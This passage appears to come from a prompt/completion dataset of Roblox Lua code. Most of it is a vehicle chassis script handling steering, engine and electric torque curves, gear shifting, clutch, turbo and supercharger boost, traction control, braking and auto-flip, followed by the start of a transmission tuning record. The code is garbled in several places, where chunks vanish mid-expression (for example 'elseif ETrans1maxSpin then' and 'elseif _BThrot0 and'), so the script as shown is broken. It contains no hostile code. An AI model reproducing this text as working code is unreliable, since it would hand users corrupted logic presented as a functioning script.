_Tune.FWSteer=='Static' then\n\t\t\t\t\tv.Arm.Steer.CFrame=car.Wheels.R.Base.CFrame*CFrame.Angles(0,math.rad(_GSteerC*RSteerInner*rsDecay*math.max(0,1-(car.DriveSeat.Velocity.Magnitude/_Tune.RSteerSpeed))),0)--luaint edit\n\t\t\t\telseif _Tune.FWSteer=='Speed' then\n\t\t\t\t\tv.Arm.Steer.CFrame=car.Wheels.R.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*RSteerInner*rsDecay*math.min(1,(car.DriveSeat.Velocity.Magnitude/_Tune.RSteerSpeed))),0)--luaint edit\n\t\t\t\telseif _Tune.FWSteer=='Both' then\n\t\t\t\t\tv.Arm.Steer.CFrame=car.Wheels.R.Base.CFrame*CFrame.Angles(0,math.rad(_GSteerC*RSteerInner*rsDecay*math.max(-1,1-(car.DriveSeat.Velocity.Magnitude/_Tune.RSteerSpeed))),0)--luaint edit\n\t\t\t\tend\n\t\t\telseif v.Name=='RL' then\n\t\t\t\tif _Tune.FWSteer=='None' then\n\t\t\t\telseif _Tune.FWSteer=='Static' then\n\t\t\t\t\tif _GSteerC>= 0 then\n\t\t\t\t\t\tv.Arm.Steer.CFrame=car.Wheels.RL.Base.CFrame*CFrame.Angles(0,math.rad(_GSteerC*RSteerOuter*rsDecay*math.max(0,1-(car.DriveSeat.Velocity.Magnitude/_Tune.RSteerSpeed))),0)--luaint edit\n\t\t\t\t\telse\n\t\t\t\t\t\tv.Arm.Steer.CFrame=car.Wheels.RL.Base.CFrame*CFrame.Angles(0,math.rad(_GSteerC*RSteerInner*rsDecay*math.max(0,1-(car.DriveSeat.Velocity.Magnitude/_Tune.RSteerSpeed))),0)--luaint edit\n\t\t\t\t\tend\n\t\t\t\telseif _Tune.FWSteer=='Speed' then\n\t\t\t\t\tif _GSteerC>= 0 then\n\t\t\t\t\t\tv.Arm.Steer.CFrame=car.Wheels.RL.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*RSteerOuter*rsDecay*math.min(1,(car.DriveSeat.Velocity.Magnitude/_Tune.RSteerSpeed))),0)--luaint edit\n\t\t\t\t\telse\n\t\t\t\t\t\tv.Arm.Steer.CFrame=car.Wheels.RL.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*RSteerInner*rsDecay*math.min(1,(car.DriveSeat.Velocity.Magnitude/_Tune.RSteerSpeed))),0)--luaint edit\n\t\t\t\t\tend\n\t\t\t\telseif _Tune.FWSteer=='Both' then\n\t\t\t\t\tif _GSteerC>= 0 then\n\t\t\t\t\t\tv.Arm.Steer.CFrame=car.Wheels.RL.Base.CFrame*CFrame.Angles(0,math.rad(_GSteerC*RSteerOuter*rsDecay*math.max(-1,1-(car.DriveSeat.Velocity.Magnitude/_Tune.RSteerSpeed))),0)--luaint edit\n\t\t\t\t\telse\n\t\t\t\t\t\tv.Arm.Steer.CFrame=car.Wheels.RL.Base.CFrame*CFrame.Angles(0,math.rad(_GSteerC*RSteerInner*rsDecay*math.max(-1,1-(car.DriveSeat.Velocity.Magnitude/_Tune.RSteerSpeed))),0)--luaint edit\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telseif v.Name=='RR' then\n\t\t\t\tif _Tune.FWSteer=='None' then\n\t\t\t\telseif _Tune.FWSteer=='Static' then\n\t\t\t\t\tif _GSteerC>= 0 then\n\t\t\t\t\t\tv.Arm.Steer.CFrame=car.Wheels.RR.Base.CFrame*CFrame.Angles(0,math.rad(_GSteerC*RSteerInner*rsDecay*math.max(0,1-(car.DriveSeat.Velocity.Magnitude/_Tune.RSteerSpeed))),0)--luaint edit\n\t\t\t\t\telse\n\t\t\t\t\t\tv.Arm.Steer.CFrame=car.Wheels.RR.Base.CFrame*CFrame.Angles(0,math.rad(_GSteerC*RSteerOuter*rsDecay*math.max(0,1-(car.DriveSeat.Velocity.Magnitude/_Tune.RSteerSpeed))),0)--luaint edit\n\t\t\t\t\tend\n\t\t\t\telseif _Tune.FWSteer=='Speed' then\n\t\t\t\t\tif _GSteerC>= 0 then\n\t\t\t\t\t\tv.Arm.Steer.CFrame=car.Wheels.RR.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*RSteerInner*rsDecay*math.min(1,(car.DriveSeat.Velocity.Magnitude/_Tune.RSteerSpeed))),0)--luaint edit\n\t\t\t\t\telse\n\t\t\t\t\t\tv.Arm.Steer.CFrame=car.Wheels.RR.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*RSteerOuter*rsDecay*math.min(1,(car.DriveSeat.Velocity.Magnitude/_Tune.RSteerSpeed))),0)--luaint edit\n\t\t\t\t\tend\n\t\t\t\telseif _Tune.FWSteer=='Both' then\n\t\t\t\t\tif _GSteerC>= 0 then\n\t\t\t\t\t\tv.Arm.Steer.CFrame=car.Wheels.RR.Base.CFrame*CFrame.Angles(0,math.rad(_GSteerC*RSteerInner*rsDecay*math.max(-1,1-(car.DriveSeat.Velocity.Magnitude/_Tune.RSteerSpeed))),0)--luaint edit\n\t\t\t\t\telse\n\t\t\t\t\t\tv.Arm.Steer.CFrame=car.Wheels.RR.Base.CFrame*CFrame.Angles(0,math.rad(_GSteerC*RSteerOuter*rsDecay*math.max(-1,1-(car.DriveSeat.Velocity.Magnitude/_Tune.RSteerSpeed))),0)--luaint edit\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\t\n\t\n\t\n\t--[[Engine]]\n\t\n\tlocal fFD = _Tune.FinalDrive*_Tune.FDMult\n\tlocal fFDr = fFD*30/math.pi\n\tlocal cGrav = workspace.Gravity*_Tune.InclineComp/32.2\n\tlocal wDRatio = wDia*math.pi/60\n\tlocal cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0)\n\tlocal cfYRot = CFrame.Angles(0,math.pi,0)\n\t\n\t--Electric Only Setup\n\t\n\tif not _Tune.Engine and _Tune.Electric then \n\t\t_Tune.Redline = _Tune.E_Redline \n\t\t_Tune.PeakRPM = _Tune.E_Trans2 \n\t\t_Tune.Turbochargers = 0\n\t\t_Tune.Superchargers = 0\n\t\t_Tune.Clutch = false \n\t\t_Tune.IdleRPM = 0 \n\t\t_Tune.ClutchType = \"Clutch\" \n\t\t_Tune.AutoShiftType = \"DCT\" \n\t\t_Tune.ShiftUpTime = 0.1 \n\t\t_Tune.ShiftDnTime = 0.1 \n\tend\n\t\n\t--Aspiration Setup\n\t\n\t_TCount = _Tune.Turbochargers\n\t_TPsi = _Tune.T_Boost*_Tune.Turbochargers\n\t\n\t_SCount = _Tune.Superchargers\n\t_SPsi = _Tune.S_Boost*_Tune.Superchargers\n\t\n\t--Engine Curve\n\t\n\tlocal HP=_Tune.Horsepower/100\n\tlocal HP_T=((_Tune.Horsepower*((_TPsi)*(_Tune.T_Efficiency/10))/7.5)/2)/100\n\tlocal HP_S=((_Tune.Horsepower*((_SPsi)*(_Tune.S_Efficiency/10))/7.5)/2)/100\n\t\n\tlocal Peak=_Tune.PeakRPM/1000\n\tlocal Sharpness=_Tune.PeakSharpness\n\tlocal CurveMult=_Tune.CurveMult\n\tlocal EQ=_Tune.EqPoint/1000\n\t\n\tfunction CurveN(RPM)\n\t\tRPM=RPM/1000\n\t\treturn ((-(RPM-Peak)^2)*math.min(HP/(Peak^2),CurveMult^(Peak/HP))+HP)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1))))\n\tend\n\tlocal PeakCurveN = CurveN(_Tune.PeakRPM)\n\t\n\tfunction CurveT(RPM)\n\t\tRPM=RPM/1000\n\t\treturn ((-(RPM-Peak)^2)*math.min(HP_T/(Peak^2),CurveMult^(Peak/HP_T))+HP_T)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1))))\n\tend\n\tlocal PeakCurveT = CurveT(_Tune.PeakRPM)\n\t\n\tfunction CurveS(RPM)\n\t\tRPM=RPM/1000\n\t\treturn ((-(RPM-Peak)^2)*math.min(HP_S/(Peak^2),CurveMult^(Peak/HP_S))+HP_S)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1))))\n\tend\n\tlocal PeakCurveS = CurveS(_Tune.PeakRPM)\n\t\n\t--Electric Curve\n\t\n\tlocal EHP=_Tune.E_Horsepower/100\n\tlocal ETQ=_Tune.E_Torque/100\n\tlocal ETrans1=_Tune.E_Trans1/1000\n\tlocal ETrans2=_Tune.E_Trans2/1000\n\tlocal ELimit=_Tune.E_Redline/1000 \n\t\n\tfunction elecHP(RPM)\n\t\tRPM=RPM/1000\n\t\tlocal retVal=1e-9\n\t\tif RPM<=ETrans1 then\n\t\t\tretVal=((((RPM/ETrans1)^_Tune.EH_FrontMult)/(1/EHP))*(RPM/ETrans1))+((((RPM/ETrans1)^(1/_Tune.EH_FrontMult))/(1/EHP))*(1-(RPM/ETrans1)))\n\t\telseif ETrans1maxSpin then maxSpin = v.RotVelocity.Magnitude end end\n\t\tif _IsOn then\n\t\t\tif _Tune.AutoShiftVers == \"Old\" and _CGear == 0 then _CGear = 1 _ClPressing = false end\n\t\t\tif _CGear >= 1 then\n\t\t\t\tif (_CGear==1 and _InBrake > 0 and car.DriveSeat.Velocity.Magnitude < 5) and _Tune.AutoShiftVers == \"Old\" then\n\t\t\t\t\t_CGear = -1 _ClPressing = false\n\t\t\t\telseif car.DriveSeat.Velocity.Magnitude > 5 then\n\t\t\t\t\tif _Tune.AutoShiftMode == \"RPM\" then\n\t\t\t\t\t\tif _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then\n\t\t\t\t\t\t\tif not _ShiftUp and not _Shifting then _ShiftUp = true end\n\t\t\t\t\t\telseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) and _CGear>1 then\n\t\t\t\t\t\t\tif not _ShiftDn and not _Shifting then _ShiftDn = true end \n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tif car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then\n\t\t\t\t\t\t\tif not _ShiftUp and not _Shifting then _ShiftUp = true end\n\t\t\t\t\t\telseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) and _CGear>1 then\n\t\t\t\t\t\t\tif not _ShiftDn and not _Shifting then _ShiftDn = true end\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif (_InThrot-(_Tune.IdleThrottle/100) > 0 and car.DriveSeat.Velocity.Magnitude < 5) and _Tune.AutoShiftVers == \"Old\" then\n\t\t\t\t\t_CGear = 1 _ClPressing = false\n\t\t\t\tend\n\t\t\tend\n\t\tend \n\tend\n\t\n\tfunction Gear()\n\t\tlocal maxSpin=0\n\t\tfor i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end\n\t\tif _ShiftUp and not _Shifting then\n\t\t\tif (_TMode == \"Manual\" and not _ClPressing) or (_TMode == \"Manual\" and _Tune.ClutchRel and (_InThrot-(_Tune.IdleThrottle/100)>0)) or _CGear == #_Tune.Ratios-2 or (_TMode ~= \"Manual\" and not _IsOn) then _ShiftUp = false return end\n\t\t\tlocal NextGear = math.min(_CGear+3,#_Tune.Ratios)\n\t\t\tif _TMode~=\"Manual\" then\n\t\t\t\t_Shifting = true\n\t\t\t\tif _CGear>0 then \n\t\t\t\t\tif _Tune.AutoShiftType==\"DCT\" then \n\t\t\t\t\t\twait(_Tune.ShiftUpTime)\n\t\t\t\t\telseif _Tune.AutoShiftType==\"Rev\" then\n\t\t\t\t\t\trepeat wait() until _RPM<=math.max(math.min(maxSpin*_Tune.Ratios[NextGear]*fFDr,_Tune.Redline-_Tune.RevBounce),_Tune.IdleRPM) or not _IsOn or _ShiftDn \n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\t_ShiftUp = false\n\t\t\t_Shifting = false\n\t\t\tif _TMode ~= \"Manual\" and not _IsOn then return end\n\t\t\t_CGear = math.min(_CGear+1,#_Tune.Ratios-2)\n\t\t\tif _TMode ~= \"Manual\" or (_TMode == \"Manual\" and _CGear == 1) and _IsOn then _ClPressing = false end\n\t\tend\n\t\tif _ShiftDn and not _Shifting then\n\t\t\tif (_TMode == \"Manual\" and not _ClPressing) or _CGear == -1 or (_TMode ~= \"Manual\" and not _IsOn) then _ShiftDn = false return end\n\t\t\tlocal PrevGear = math.min(_CGear+1,#_Tune.Ratios)\n\t\t\tif _TMode~=\"Manual\" then\n\t\t\t\t_Shifting = true\n\t\t\t\tif _CGear>1 then \n\t\t\t\t\tif _Tune.AutoShiftType==\"DCT\" then \n\t\t\t\t\t\twait(_Tune.ShiftDnTime)\n\t\t\t\t\telseif _Tune.AutoShiftType==\"Rev\" then\n\t\t\t\t\t\trepeat wait() until _RPM>=math.max(math.min(maxSpin*_Tune.Ratios[PrevGear]*fFDr,_Tune.Redline-_Tune.RevBounce),_Tune.IdleRPM) or not _IsOn or _ShiftUp\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\t_ShiftDn = false\n\t\t\t_Shifting = false\n\t\t\tif _TMode ~= \"Manual\" and not _IsOn then return end\n\t\t\t_CGear = math.max(_CGear-1,-1)\n\t\t\tif _TMode ~= \"Manual\" or (_TMode == \"Manual\" and _CGear == -1) and _IsOn then _ClPressing = false end\n\t\tend\n\tend\n\t\n\tlocal _GoalRPM=0\n\tlocal tqTCS = 1\n\tlocal sthrot = 0\n\tlocal _StallOK = false\n\tlocal ticc = tick()\n\t--Apply Power\n\tfunction Engine(dt)\n\t\tlocal deltaTime = (60/(1/dt))\n\t\t--Neutral Gear\n\t\tif ((_CGear == 0 or _Shifting) and _IsOn) then \n\t\t\t_ClPressing = true\n\t\t\t_Clutch = 1\n\t\t\t_StallOK = false\n\t\tend\n\t\t\n\t\tlocal revMin = _Tune.IdleRPM \n\t\tlocal goalMin = _Tune.IdleRPM \n\t\tlocal goalMax = _Tune.Redline\n\t\tif _Tune.Stall and _Tune.Clutch then revMin = 0 end\n\t\t\n\t\tif _Shifting and _ShiftUp then \n\t\t\t_GThrot = 0\n\t\telseif _Shifting and _ShiftDn then\n\t\t\t_GThrot = (_Tune.ShiftThrot/100)\n\t\telse\n\t\t\tif (_Tune.AutoShiftVers == \"Old\" and _CGear==-1 and _TMode==\"Auto\") then\n\t\t\t\t_GThrot = _InBrake\n\t\t\telse\n\t\t\t\t_GThrot = _InThrot\n\t\t\tend\n\t\tend\n\t\t\n\t\tif (_Tune.AutoShiftVers == \"Old\" and _CGear==-1 and _TMode==\"Auto\") then\n\t\t\t_GBrake = _InThrot-(_Tune.IdleThrottle/100)\n\t\telse\n\t\t\t_GBrake = _InBrake\n\t\tend\n\t\t\n\t\tif not _IsOn then \n\t\t\tticc = tick()\n\t\t\trevMin = 0 \n\t\t\tgoalMin = 0\n\t\t\t_GThrot = _Tune.IdleThrottle/100\n\t\t\tif _TMode~=\"Manual\" then \n\t\t\t\t_CGear = 0 \n\t\t\t\t_ClPressing = true \n\t\t\t\t_Clutch = 1 \n\t\t\tend\n\t\tend\n\t\t\n\t\tif ((_ClPressing and _CGear == 0) or (_PlayerClutch and _CGear ~= 0)) and _Tune.NeutralLimit then\n\t\t\tif (_CGear == 0 and not _Tune.LimitClutch) or _Tune.LimitClutch then\n\t\t\t\tgoalMax = _Tune.NeutralRevRPM\n\t\t\tend\n\t\tend\n\t\t\n\t\t--Determine RPM\n\t\tlocal maxSpin=0\n\t\tlocal maxCount=0\n\t\tlocal revThrot=_GThrot\n\t\tfor i,v in pairs(Drive) do maxSpin = maxSpin + v.RotVelocity.Magnitude maxCount = maxCount + 1 end\n\t\tmaxSpin=maxSpin/maxCount\n\t\t\n\t\tif _GoalRPM>goalMax+100 then \n\t\t\trevThrot = _Tune.IdleThrottle/100\n\t\tend\n\t\t\n\t\tif _Tune.Engine or _Tune.Electric then\n\t\t\t_GoalRPM = math.clamp((_RPM-_Tune.RevDecay*deltaTime)+((_Tune.RevDecay+_Tune.RevAccel)*revThrot*deltaTime),goalMin,_Tune.Redline+100)\n\t\tend\n\t\t\n\t\tif _GoalRPM>_Tune.Redline then \n\t\t\tif _CGear<#_Tune.Ratios-2 then\n\t\t\t\t_GoalRPM = _GoalRPM-_Tune.RevBounce\n\t\t\telse\n\t\t\t\t_GoalRPM = _GoalRPM-_Tune.RevBounce*.5\n\t\t\tend\n\t\tend\n\t\t\n\t\tlocal _WheelRPM = maxSpin*_Tune.Ratios[_CGear+2]*fFDr\n\t\t\n\t\tif _Tune.Clutch then\n\t\t\tif script.Parent.Values.AutoClutch.Value and _IsOn then\n\t\t\t\tif _Tune.ClutchType == \"Clutch\" then\n\t\t\t\t\tif _ClPressing then _ClutchKick = 1 end\n\t\t\t\t\t_ClutchKick = _ClutchKick*(_Tune.ClutchEngage/100)\t\t\n\t\t\t\t\tlocal ClRPMInfluence = math.max((_RPM-_Tune.IdleRPM)*_Tune.ClutchRPMMult/(_Tune.Redline-_Tune.IdleRPM),0)\n\t\t\t\t\tif _Tune.ClutchMode == \"New\" then ClRPMInfluence = 0 end\n\t\t\t\t\t_ClutchModulate = math.min(((((script.Parent.Values.Velocity.Value.Magnitude/_Tune.SpeedEngage)/math.abs(_CGear)) + ClRPMInfluence) - _ClutchKick), 1)\n\t\t\t\telseif _Tune.ClutchType == \"CVT\" or (_Tune.ClutchType == \"TorqueConverter\" and _Tune.TQLock) then\n\t\t\t\t\tif (_GThrot-(_Tune.IdleThrottle/100)==0 and script.Parent.Values.Velocity.Value.Magnitude<_Tune.SpeedEngage) or (_GThrot-(_Tune.IdleThrottle/100)~=0 and (_RPM < _Tune.RPMEngage and _WheelRPM < _Tune.RPMEngage)) then\n\t\t\t\t\t\t_ClutchModulate = math.min(_ClutchModulate*(_Tune.ClutchEngage/100), 1)\n\t\t\t\t\telse\n\t\t\t\t\t\t_ClutchModulate = math.min(_ClutchModulate*(_Tune.ClutchEngage/100)+(1-(_Tune.ClutchEngage/100)), 1)\n\t\t\t\t\tend\n\t\t\t\telseif _Tune.ClutchType == \"TorqueConverter\" and not _Tune.TQLock then\n\t\t\t\t\t_ClutchModulate = math.min((_RPM/_Tune.Redline)*0.7, 1)\n\t\t\t\tend\n\t\t\t\tif not _ClPressing then _Clutch = math.min(1-_ClutchModulate,1) else _Clutch = 1 end\n\t\t\t\t_StallOK = (_Clutch<=0.01) or _StallOK\n\t\t\telse\n\t\t\t\t_StallOK = _Tune.Stall\n\t\t\t\t_Clutch = script.Parent.Values.Clutch.Value\n\t\t\tend\n\t\telse\n\t\t\t_StallOK = false\n\t\t\tif not _ClPressing and not _Shifting then _Clutch = 0 else _Clutch = 1 end\n\t\tend\n\t\t\n\t\tlocal aRPM = math.max(math.min((_GoalRPM*_Clutch) + (_WheelRPM*(1-_Clutch)),_Tune.Redline+100),revMin)\n\t\tlocal clutchP = math.min(math.abs(aRPM-_RPM)/(_Tune.Flywheel*deltaTime),.9)\n\t\tif _ClPressing then clutchP = 0 end\n\t\t_RPM = _RPM*clutchP + aRPM*(1-clutchP)\n\t\t\n\t\tif _RPM<=(_Tune.IdleRPM/4) and _StallOK and (tick()-ticc>=0.2) then script.Parent.IsOn.Value = not _Tune.Stall end\n\t\t\n\t\t--Rev Limiter\n\t\t_spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2])\n\t\tif _RPM>_Tune.Redline then \n\t\t\tif _CGear<#_Tune.Ratios-2 then\n\t\t\t\t_RPM = _RPM-_Tune.RevBounce\n\t\t\telse\n\t\t\t\t_RPM = _RPM-_Tune.RevBounce*.5\n\t\t\tend\n\t\tend\n\t\t\n\t\t--Aspiration\n\t\tlocal TPsi = _TPsi/_TCount\n\t\t\n\t\tlocal _BThrot = _GThrot\n\t\t\n\t\tif _Tune.Engine then\n\t\t\tif _TCount~=0 then\n\t\t\t\t_TBoost = _TBoost + ((((((_HP*(_BThrot*1.2)/_Tune.Horsepower)/8)-(((_TBoost/TPsi*(TPsi/15)))))*((8/(_Tune.T_Size/(deltaTime)))*2))/TPsi)*15)\n\t\t\t\tif _TBoost < 0.05 then _TBoost = 0.05 elseif _TBoost > 2 then _TBoost = 2 end\n\t\t\telse\n\t\t\t\t_TBoost = 0\n\t\t\tend\n\t\t\tif _SCount~=0 then\n\t\t\t\tif _BThrot>sthrot then\n\t\t\t\t\tsthrot=math.min(_BThrot,sthrot+_Tune.S_Sensitivity*deltaTime)\n\t\t\t\telseif _BThrot0 and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then\n\t\t\t\ttqABS = 0\n\t\t\tend\n\t\t\t_ABSActive = (tqABS<1)\n\t\t\n\t\t\tlocal PBrakeV=0\n\t\t\tif _PBrake==true then PBrakeV=1 else PBrakeV=0 end\n\t\t\t\n\t\t\tlocal driven = false\n\t\t\tfor _,a in pairs(Drive) do if a==v then driven = true end end\n\t\t\tif driven then\n\t\t\t\t--Apply AWD Vectoring\n\t\t\t\tif _Tune.Config == \"AWD\" then\n\t\t\t\t\tlocal bias = (_Tune.TorqueVector+1)/2\n\t\t\t\t\tif string.find(v.Name,\"F\") then\n\t\t\t\t\t\ttq = tq*(1-bias)\n\t\t\t\t\telseif string.find(v.Name,\"R\") then\n\t\t\t\t\t\ttq = tq*bias\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t--Apply TCS\n\t\t\t\ttqTCS = 1\n\t\t\t\tif _TCS and throt>0 then\n\t\t\t\t\ttqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100)))\n\t\t\t\tend\n\t\t\t\tif tqTCS < 1 then\n\t\t\t\t\t_TCSAmt = tqTCS\n\t\t\t\t\t_TCSActive = true\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t--Update Forces\n\t\t\t\tlocal dir=1\n\t\t\t\tif _CGear==-1 then dir = -1 end--luaint edit\n\t\t\t\t\n\t\t\t\tif _Tune.ClutchKick and car.DriveSeat.Velocity.Magnitude<_Tune.KickSpeedThreshold and _RPM>_Tune.Redline-_Tune.KickRPMThreshold and v[\"#BV\"].MotorMaxTorque<1 then \n\t\t\t\t\ttq = (tq*_Tune.KickMult)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tlocal tqOUT = tq*(60/workspace:GetRealPhysicsFPS())*(1+(v.RotVelocity.Magnitude/(120-workspace:GetRealPhysicsFPS()))^(1.15+(.07*(1-(60/workspace:GetRealPhysicsFPS())))))*throt*tqTCS*on*clutch\n\t\t\t\t\n\t\t\t\tif v.Name=='RR' then\n\t\t\t\t\tv[\"#AV\"].MotorMaxTorque=tqOUT*RRdiffMult*diffMult\n\t\t\t\telseif v.Name=='RL' then\n\t\t\t\t\tv[\"#AV\"].MotorMaxTorque=tqOUT*RLdiffMult*diffMult\n\t\t\t\telseif v.Name=='FR' then\n\t\t\t\t\tv[\"#AV\"].MotorMaxTorque=tqOUT*FRdiffMult*diffMult\n\t\t\t\telseif v.Name=='FL' then\n\t\t\t\t\tv[\"#AV\"].MotorMaxTorque=tqOUT*FLdiffMult*diffMult\n\t\t\t\telse\n\t\t\t\t\tv[\"#AV\"].MotorMaxTorque=tqOUT*diffMult\n\t\t\t\tend\n\t\t\t\tv[\"#AV\"].AngularVelocity=_spLimit*dir\n\t\t\t\n\t\t\t\tif string.find(v.Name,\"F\") then\n\t\t\t\t\tv[\"#BV\"].MotorMaxTorque=(FBrakeForce*(60/workspace:GetRealPhysicsFPS())*brake*tqABS)+(EBrakeForce*((1-throt)*(_RPM/_Tune.Redline)))+(PBrakeForceF*PBrakeV)\n\t\t\t\telse\n\t\t\t\t\tv[\"#BV\"].MotorMaxTorque=(RBrakeForce*(60/workspace:GetRealPhysicsFPS())*brake*tqABS)+(EBrakeForce*((1-throt)*(_RPM/_Tune.Redline)))+(PBrakeForceR*PBrakeV)\n\t\t\t\tend\n\t\t\telse--luaint edit\n\t\t\t\tv[\"#AV\"].MotorMaxTorque=0\n\t\t\t\tv[\"#AV\"].AngularVelocity=0\n\t\t\t\tif string.find(v.Name,\"F\") then\n\t\t\t\t\tv[\"#BV\"].MotorMaxTorque=(FBrakeForce*(60/workspace:GetRealPhysicsFPS())*brake*tqABS)+(PBrakeForceF*PBrakeV)\n\t\t\t\telse\n\t\t\t\t\tv[\"#BV\"].MotorMaxTorque=(RBrakeForce*(60/workspace:GetRealPhysicsFPS())*brake*tqABS)+(PBrakeForceR*PBrakeV)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\t\n\t\n\t\n\t--[[Flip]]\n\t\n\tfunction Flip()\n\t\t--Detect Orientation\n\t\tif (car.DriveSeat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector.y > .1 or FlipDB then\n\t\t\tFlipWait=tick()\n\t\t\t\n\t\t--Apply Flip\n\t\telse\n\t\t\tif tick()-FlipWait>=3 then\n\t\t\t\tFlipDB=true\n\t\t\t\tlocal gyro = car.DriveSeat.Flip\n\t\t\t\tgyro.maxTorque = Vector3.new(10000,0,10000)\n\t\t\t\tgyro.P=3000\n\t\t\t\tgyro.D=500\n\t\t\t\twait(1)\n\t\t\t\tgyro.maxTorque = Vector3.new(0,0,0)\n\t\t\t\tgyro.P=0\n\t\t\t\tgyro.D=0\n\t\t\t\tFlipDB=false\n\t\t\tend\n\t\tend\n\tend\n\t\n\t\n\t--[[Run]]\n\t\n\t--Print Version\n\tlocal ver=require(car[\"A-Chassis Tune\"].README)\n\tprint(\"Novena: AC6C Loaded - Version \"..ver..\", Update \"..script.Parent.Version.Value)\n\t\n\t--Runtime Loops\n\t\n\t-- ~60 c/s\n\tgame[\"Run Service\"].Heartbeat:connect(function(dt)\n\t\t--Update Internal Values\n\t\t_IsOn = script.Parent.IsOn.Value\n\t\t_InControls = script.Parent.ControlsOpen.Value\n\t\t\n\t\t--Inputs\n\t\tInputs(dt)\n\t\t\n\t\t--Steering\n\t\tSteering(dt)\n\t\t\n\t\t--Gear\n\t\tGear()\n\t\t\n\t\t--Power\n\t\tEngine(dt)\n\t\t\n\t\t--Update External Values\n\t\tscript.Parent.Values.Gear.Value = _CGear\n\t\tscript.Parent.Values.RPM.Value = _RPM\n\t\tscript.Parent.Values.Boost.Value = ((_TBoost/2)*_TPsi)+((_SBoost/2)*_SPsi)\n\t\tscript.Parent.Values.BoostTurbo.Value = (_TBoost/2)*_TPsi\n\t\tscript.Parent.Values.BoostSuper.Value = (_SBoost/2)*_SPsi\n\t\tscript.Parent.Values.HpNatural.Value = _NH\n\t\tscript.Parent.Values.HpElectric.Value = _EH\n\t\tscript.Parent.Values.HpTurbo.Value = _TH\n\t\tscript.Parent.Values.HpSuper.Value = _SH\n\t\tscript.Parent.Values.HpBoosted.Value = _BH\n\t\tscript.Parent.Values.Horsepower.Value = _HP\n\t\tscript.Parent.Values.TqNatural.Value = _NT/_Tune.Ratios[_CGear+2]/fFD/hpScaling\n\t\tscript.Parent.Values.TqElectric.Value = _ET/_Tune.Ratios[_CGear+2]/fFD/hpScaling\n\t\tscript.Parent.Values.TqTurbo.Value = _TT/_Tune.Ratios[_CGear+2]/fFD/hpScaling\n\t\tscript.Parent.Values.TqSuper.Value = _ST/_Tune.Ratios[_CGear+2]/fFD/hpScaling\n\t\tscript.Parent.Values.TqBoosted.Value = script.Parent.Values.TqTurbo.Value+script.Parent.Values.TqSuper.Value\n\t\tscript.Parent.Values.Torque.Value = script.Parent.Values.TqNatural.Value+script.Parent.Values.TqElectric.Value+script.Parent.Values.TqBoosted.Value\n\t\tscript.Parent.Values.TransmissionMode.Value = _TMode\n\t\tscript.Parent.Values.Throttle.Value = _GThrot\n\t\tscript.Parent.Values.Brake.Value = _GBrake\n\t\tif script.Parent.Values.AutoClutch.Value then\n\t\t\tscript.Parent.Values.Clutch.Value = _Clutch\n\t\tend\n\t\tscript.Parent.Values.SteerC.Value = _GSteerC\n\t\tscript.Parent.Values.SteerT.Value = _GSteerT\n\t\tscript.Parent.Values.PBrake.Value = _PBrake\n\t\tscript.Parent.Values.TCS.Value = _TCS\n\t\tscript.Parent.Values.TCSActive.Value = _TCSActive\n\t\tscript.Parent.Values.TCSAmt.Value = 1-_TCSAmt\n\t\tscript.Parent.Values.ABS.Value = _ABS\n\t\tscript.Parent.Values.ABSActive.Value = _ABSActive\n\t\tscript.Parent.Values.MouseSteerOn.Value = _MSteer\n\t\tscript.Parent.Values.Velocity.Value = car.DriveSeat.Velocity\n\tend)\n\t\n\t--15 c/s\n\twhile wait(.0667) do\n\t\t--Automatic Transmission\n\t\tif _TMode == \"Auto\" then Auto() end\n\t\t\n\t\t--Flip\n\t\tif _Tune.AutoFlip then Flip() end\n\tend\n"} +{"prompt": "--[[Transmission]]", "completion": "\n\tTune.TransModes\t\t={\"Auto\", \"Semi\"}\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Auto\"\t\t: Automatic shifting\n\t\t\"Semi\"\t\t: Clutchless manual shifting, dual clutch transmission\n\t\t\"Manual\"\t: Manual shifting with clutch\n\t\t\n\t\t>Include within brackets\n\t\t\teg: {\"Semi\"} or {\"Auto\", \"Manual\"}\t\t\t\t\t\t\t\t\n\t\t>First mode is default 